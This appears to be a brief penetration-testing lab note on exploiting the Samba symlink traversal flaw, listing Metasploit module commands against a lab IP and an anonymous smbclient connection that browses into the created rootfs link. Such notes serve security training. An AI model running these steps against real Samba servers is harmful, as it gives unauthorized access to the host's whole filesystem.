# symlink traversal

## symlink traversal

* exploiting samba\_symlink\_traversal vuln to get root filesystem access <https://null-byte.wonderhowto.com/how-to/get-root-filesystem-access-via-samba-symlink-traversal-0198509/>
  * msfconsole
    * use auxiliary/admin/smb/samba\_symlink\_traversal
    * set rhost 10.11.1.136
    * set smbshare Bob Share
    * exploit
* smbclient [//10.11.1.136/”Bob](https://10.11.1.136/%E2%80%9DBob) Share” -N
  * cd rootfs/